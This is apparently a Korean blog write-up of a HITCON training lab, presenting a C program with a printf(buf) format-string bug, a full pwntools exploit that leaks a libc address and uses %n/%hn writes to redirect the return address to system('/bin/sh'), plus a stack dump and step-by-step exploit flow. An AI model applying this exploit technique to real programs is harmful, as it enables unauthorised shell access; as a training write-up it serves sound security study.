진짜 애지게 삽질했던 문제... NX적용된거 까먹고 전역변수에 shellcode삽입해서 실행하려고 했던 문제.... ㅠㅡㅠ
playfmt.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char buf[200] ;
void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}
void play(){
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
do_fmt();
return;
}
int main(){
setvbuf(stdout,0,2,0);
play();
return;
}
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
보호기법 확인
slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
|
from pwn import *
p = process('./playfmt')
# get __libc_start_main+243's Addr
def get_libc():
sleep(0.1)
payload = ''
payload += "%08x"*19
p.sendline(payload)
sleep(0.1)
recv_libc = p.recvuntil('\n')
libc = int(recv_libc[144:152],16)
print
return libc
#Just check about exploiting flow
def check():
sleep(0.1)
payload = ''
payload += "%08x"*19
p.sendline(payload)
sleep(0.1)
recv_stack = p.recvuntil('\n')
stack_Addr = int(recv_stack[40:48],16)
exploit_Addr = int(recv_stack[72:80],16)
overwrite_RET = int(recv_stack[80:88],16)
overwrite_arg = int(recv_stack[96:104],16)
print
return stack_Addr, exploit_Addr, overwrite_RET, overwrite_arg
p.recv()
#return __libc_start_main+243
libc = get_libc()
#system - libc = 0x2639d
#binsh - libc = 0x1464f9
system_Addr = libc + 0x2639d
binsh_Addr = libc + 0x1464f9
#checking Addr is right
print
#slicing Addr
highSystem_Addr = system_Addr / 0x10000
lowSystem_Addr = system_Addr & 0xFFFF
highBinsh_Addr = binsh_Addr / 0x10000
lowBinsh_Addr = binsh_Addr & 0xFFFF
stack_Addr, exploit_Addr, overwrite_RET, overwrite_arg = check()
#change exploit_Addr to RET-2
set_Addr = stack_Addr & 0xFFFF
set_Addr -= 28
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#First_Overwrite RET to System
insert_Addr = lowSystem_Addr-64
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) +"x%n"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#change exploit_Addr to RET
set_Addr += 2
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#Second_Overwrite RET to System
insert_Addr = highSystem_Addr-64
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) + "x%n"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#change exploit_Addr to RET+6
set_Addr += 6
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#First_Overwrite binsh to arg
insert_Addr = lowBinsh_Addr - 64
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) + "x%n"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#change exploit_Addr to RET+8
set_Addr += 2
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#Second_Overwrite binsh to arg
insert_Addr= highBinsh_Addr - 64
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) + "x%n"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
#change exploit_Addr to Origin
set_Addr -= 12
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
p.send('quit')
sleep(0.1)
p.interactive()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
어쩌다보니 코드가 길어진 감이 있긴 한데 정말 간단하다.
esp:0xff92bdf0
ebp:0xff92be08
0xff92bdf0: 0x0804a060 0x08048640 0x00000004 0x0804857c
0xff92be00: 0x08048645 0x00000000 0xff92be18 0x08048584
0xff92be10: 0xf77acac0 0x00000000 0xff92be28 0x080485b1
0xff92be20: 0xf77ac3c4 0xff92be40 0x00000000 0xf761bad3
0xff92be30: 0x080485c0 0x00000000 0x00000000 0xf761bad3
0xff92be40: 0x00000001 0xff92bed4 0xff92bedc 0xf77cde6a
0xff92be50: 0x00000001 0xff92bed4 0xff92be74 0x0804a018
0xff92be60: 0x08048270 0xf77ac000 0x00000000 0x00000000
위의 스택은 printf(buf)를 들어가기 전의 스택인데 해당 exploit은 빨간부분이 노란부분을 가리키기고 있기 때문에 노란부분의 젤 마지막 1바이트를 바꿔주면서 초록색에는 system함수의 주소값을 노란부분에는 '/bin/sh'문자열의 주소값을 넣어주는 것으로 exploit을 진행했다.
Exploit Flow
1. 보라색부분이 __libc_start_main+243의 주소이므로 이 값을 leak하여 system_Addr, /bin/sh_Addr을 구한다.
2. 해당 주소를 상위 4바이트, 하위 4바이트로 나누어 저장한다.
3. 빨간색 부분의 주소를 이용하여 주황색의 값을 +2 를 해주고 system 함수의 하위 4바이트를 넣는다.
4. 빨간색 부분의 주소를 이용하여 바뀐 주황색의 값을 다시 +2를 하고 system 함수의 상위 4바이트를 넣는다.
5. 빨간색 부분의 주소를 이용하여 바뀐 주황색의 값을 +6을 하고 /bin/sh주소값의 하위 4바이트를 넣는다.
6. 빨간색 부분의 주소를 이용하여 바뀐 주황색의 값을 +2를 하고 /bin/sh주소값의 상위 4바이트를 넣는다.
7. 마지막으로 quit을 보내줘서 do_fmt을 종료하게 만든다.
8. exploit
'System > Hitcon training' 카테고리의 다른 글
190422-lab10 (0) | 2019.04.22 |
---|---|
190421-lab8 (0) | 2019.04.21 |
190421-lab7 (0) | 2019.04.21 |
190403-lab6 (0) | 2019.04.03 |
190403-lab5 (0) | 2019.04.03 |